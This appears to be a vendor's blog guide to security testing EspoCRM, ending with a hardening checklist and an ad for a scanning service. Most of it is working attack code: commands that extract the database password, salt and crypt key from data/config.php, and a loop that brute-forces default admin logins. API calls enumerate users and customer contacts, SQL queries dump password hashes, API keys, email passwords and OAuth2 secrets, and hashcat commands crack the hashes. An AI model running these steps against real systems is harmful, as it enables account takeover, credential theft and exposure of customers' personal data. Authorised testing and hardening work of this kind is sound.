CRM Security Testing

EspoCRM Security Testing: Default Credentials, API Key, Database, and CRM

📅 July 3, 2026 ⏱ 10 min read 🏷 EspoCRM, CRM Security, data/config.php, MySQL, REST API, API Key, HMAC Authentication, Default Credentials, Contact PII, Email Integration, OAuth2 Secrets

EspoCRM is a widely deployed open-source CRM used by businesses to manage customer relationships, sales pipelines, and communications. Key assessment areas: data/config.php exposes the MySQL database password and password hash salt; the REST API uses HMAC-SHA256 authentication with API keys stored in the database; admin/admin is the common default credential; and MySQL contains all customer contacts, email integration credentials, and OAuth2 client secrets for external integrations. This guide covers systematic EspoCRM security assessment.

data/config.php MySQL Credential and Salt Extraction
REST API Key and HMAC Authentication Assessment
MySQL CRM Data, Email Credentials, and Integration Secrets
EspoCRM Security Hardening

data/config.php MySQL Credential and Salt Extraction

# EspoCRM — data/config.php MySQL credential and salt extraction
ESPO_URL="https://crm.example.com"

# data/config.php — EspoCRM main configuration (CRITICAL)
cat /var/www/espocrm/data/config.php 2>/dev/null
# Returns PHP array with:
# 'database' => [
#   'host' => 'localhost',
#   'dbname' => 'espocrm',
#   'user' => 'espocrm',
#   'password' => '...',    <-- MySQL database password
# ],
# 'passwordSalt' => '...',  <-- salt used for all user password hashes
# 'cryptKey' => '...',      <-- key for encrypted field values

python3 -c "
import re
content = open('/var/www/espocrm/data/config.php').read()
patterns = {
    'db_password': r\"'password'\s*=>\s*'([^']+)'\",
    'passwordSalt': r\"'passwordSalt'\s*=>\s*'([^']+)'\",
    'cryptKey': r\"'cryptKey'\s*=>\s*'([^']+)'\",
    'db_name': r\"'dbname'\s*=>\s*'([^']+)'\",
}
for name, pattern in patterns.items():
    m = re.search(pattern, content)
    if m:
        print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null

# Test default admin credentials
for CRED in "admin:admin" "admin:password" "administrator:admin" "admin:espocrm"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${ESPO_URL}/api/v1/App/user" \
    -H "Content-Type: application/json" \
    -u "${USER}:${PASS}" 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
  # 200 = valid credentials; returns user profile JSON
done

REST API Key and HMAC Authentication Assessment

# EspoCRM REST API — API key and HMAC authentication assessment
ESPO_URL="https://crm.example.com"

# EspoCRM REST API supports two authentication methods:
# 1. Basic auth: Authorization: Basic base64(username:password)
# 2. HMAC auth: X-Hmac-Authorization header
#    Format: base64(apiKey + ":" + HMAC-SHA256(method + " /" + uri, secretKey))

# With valid admin credentials — get current user info
curl -s "${ESPO_URL}/api/v1/App/user" \
  -u "admin:admin" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'User: {d.get(\"name\")} ({d.get(\"userName\")})')
    print(f'Admin: {d.get(\"isAdmin\")}')
    print(f'Roles: {d.get(\"roles\")}')
except: pass
" 2>/dev/null

# Enumerate all users via admin API
curl -s "${ESPO_URL}/api/v1/User?maxSize=200" \
  -u "admin:admin" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    for u in d.get('list',[]):
        print(f'  {u.get(\"userName\")} | {u.get(\"emailAddress\")} | admin={u.get(\"isAdmin\")}')
except: pass
" 2>/dev/null

# Enumerate all contacts (customer PII)
curl -s "${ESPO_URL}/api/v1/Contact?maxSize=200&select=firstName,lastName,emailAddress,phone" \
  -u "admin:admin" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'Total contacts: {d.get(\"total\")}')
    for c in d.get('list',[])[:5]:
        print(f'  {c.get(\"firstName\")} {c.get(\"lastName\")} - {c.get(\"emailAddress\")}')
except: pass
" 2>/dev/null

# HMAC authentication with extracted API key and secret
API_KEY="api-key-from-db"
SECRET_KEY="secret-key-from-db"
METHOD="GET"
URI="api/v1/Contact"

HMAC=$(echo -n "${METHOD} /${URI}" | \
  openssl dgst -sha256 -hmac "${SECRET_KEY}" -binary | base64)
AUTH=$(echo -n "${API_KEY}:${HMAC}" | base64)

curl -s "${ESPO_URL}/${URI}" \
  -H "X-Hmac-Authorization: ${AUTH}" 2>/dev/null | head -3

MySQL CRM Data, Email Credentials, and Integration Secrets

# EspoCRM MySQL database — CRM data, email credentials, and integration secrets
DB_PASS="extracted-db-password"
SALT="extracted-passwordSalt"

mysql -u espocrm -p"${DB_PASS}" espocrm 2>/dev/null << 'EOF'
-- User accounts with password hashes
SELECT u.id, u.user_name, u.name, u.email_address,
       u.password,             -- SHA512(salt + password)
       u.is_admin, u.is_active
FROM espo_user u
WHERE u.deleted = 0
ORDER BY u.is_admin DESC
LIMIT 20;
-- Crack: hashcat -m 1700 hash.txt wordlist.txt (SHA-512)
-- with salt prepended: hashcat -m 1710 "hash:salt" wordlist.txt

-- API users with API keys and secrets (plaintext)
SELECT u.user_name, u.api_key, u.secret_key
FROM espo_user u
WHERE u.type = 'api'
AND u.deleted = 0;

-- All contacts (customer PII)
SELECT c.first_name, c.last_name, c.email_address, c.phone_number,
       c.account_name, c.description
FROM espo_contact c
WHERE c.deleted = 0
LIMIT 20;

-- Email integration credentials (IMAP/SMTP)
SELECT ea.email_address, ea.host, ea.username,
       ea.password,          -- email account password (may be encrypted with cryptKey)
       ea.smtp_host, ea.smtp_username, ea.smtp_password
FROM espo_email_account ea
WHERE ea.deleted = 0;

-- OAuth2 integration client secrets
SELECT i.name, i.type, i.data   -- data contains client_id and client_secret JSON
FROM espo_integration i
WHERE i.enabled = 1;
EOF

EspoCRM Security Hardening

EspoCRM Security Hardening Checklist:

Protect data/config.php and rotate all extracted secrets — EspoCRM's data/config.php contains the MySQL database password, the passwordSalt used to hash all user passwords (knowing the salt significantly accelerates password cracking), and the cryptKey used to encrypt sensitive field values; this file must be readable only by the web server process; configure the web server to deny direct HTTP access to the data/ directory — in Apache, use a .htaccess file with Deny from all or a directory block; in Nginx, add a location block to return 403 for the data/ directory; if config.php has been exposed, treat all user passwords as compromised (the salt removes the benefit of per-user salts in older SHA-512 implementations) and force a password reset for all accounts
Change the admin password immediately and audit API users — EspoCRM installations frequently retain the admin/admin default credential set during initial setup; the admin account has full access to all CRM data, user management, integration settings, and system configuration; change the admin password to a strong random value immediately after installation; review all API users (espo_user.type = 'api') — API users have api_key and secret_key values that allow HMAC-authenticated API access without a user password; rotate API keys if the database has been accessed and revoke any API users that are not actively used by integrations; be aware that API keys never expire by default
Secure email integration credentials — EspoCRM stores IMAP (for receiving emails into the CRM) and SMTP (for sending emails from the CRM) credentials in the espo_email_account table; in older versions these passwords were stored in plaintext; in newer versions they may be encrypted with the cryptKey from config.php — meaning that anyone with access to config.php can decrypt all stored email passwords; use dedicated service email accounts for EspoCRM integration rather than employee or executive email accounts; rotate email integration passwords if config.php has been exposed; monitor these email accounts for unauthorized access after a CRM compromise
Protect OAuth2 integration secrets — EspoCRM supports OAuth2 integrations with services like Google (Calendar, Drive), Outlook, and Salesforce; OAuth2 client credentials (client_id and client_secret) are stored in the espo_integration table as JSON; these secrets are used to authenticate the CRM to external OAuth2 providers; if an attacker obtains the client_secret, they can perform OAuth2 token requests that appear to come from the legitimate CRM application; rotate OAuth2 client secrets for all integrations if the database has been compromised; revoke all existing access tokens for connected integrations after a breach
Implement rate limiting on the API and login endpoint — EspoCRM's REST API at /api/v1/ supports both Basic authentication and HMAC authentication; the login endpoint does not implement rate limiting by default, making it vulnerable to credential stuffing and brute-force attacks; implement rate limiting at the web server or reverse proxy level; restrict API access to known IP addresses if the API is only used by internal tools; audit the /api/v1/User endpoint which returns a list of all users including their email addresses — this enables targeted credential attacks on individual users

Security Test	Method	Risk
data/config.php database.password and passwordSalt extraction	Read data/config.php — MySQL credentials plus salt enabling rapid cracking of all espo_user SHA-512 password hashes; cryptKey decrypts email integration passwords	Critical
Admin credential brute-force (admin/admin)	POST /api/v1/App/user with Basic auth — full CRM admin access; all contacts, accounts, email integration, OAuth2 secrets	Critical
API user key and secret extraction from MySQL	SELECT api_key, secret_key FROM espo_user WHERE type='api' — plaintext API keys; full HMAC-authenticated API access; complete CRM data enumeration	High
Email IMAP/SMTP credential extraction	MySQL SELECT password FROM espo_email_account — email integration credentials; may be encrypted with cryptKey from config.php	High
OAuth2 client secret extraction	MySQL SELECT data FROM espo_integration — JSON containing OAuth2 client_id and client_secret for Google/Outlook/Salesforce integrations	High

Automate EspoCRM Security Testing

Ironimo tests EspoCRM deployments for data/config.php database.password and passwordSalt extraction, cryptKey disclosure enabling email credential decryption, admin/admin credential brute-force at /api/v1/App/user, API user key and secret extraction from espo_user type='api', espo_user SHA-512 password hash extraction with salt, customer PII enumeration from espo_contact, email integration IMAP/SMTP credential disclosure from espo_email_account, OAuth2 client secret extraction from espo_integration, data/ directory web-accessible HTTP access assessment, and API rate limiting absence for credential stuffing testing.

Start free scan

Table of Contents

data/config.php MySQL Credential and Salt Extraction

REST API Key and HMAC Authentication Assessment

MySQL CRM Data, Email Credentials, and Integration Secrets

EspoCRM Security Hardening

Automate EspoCRM Security Testing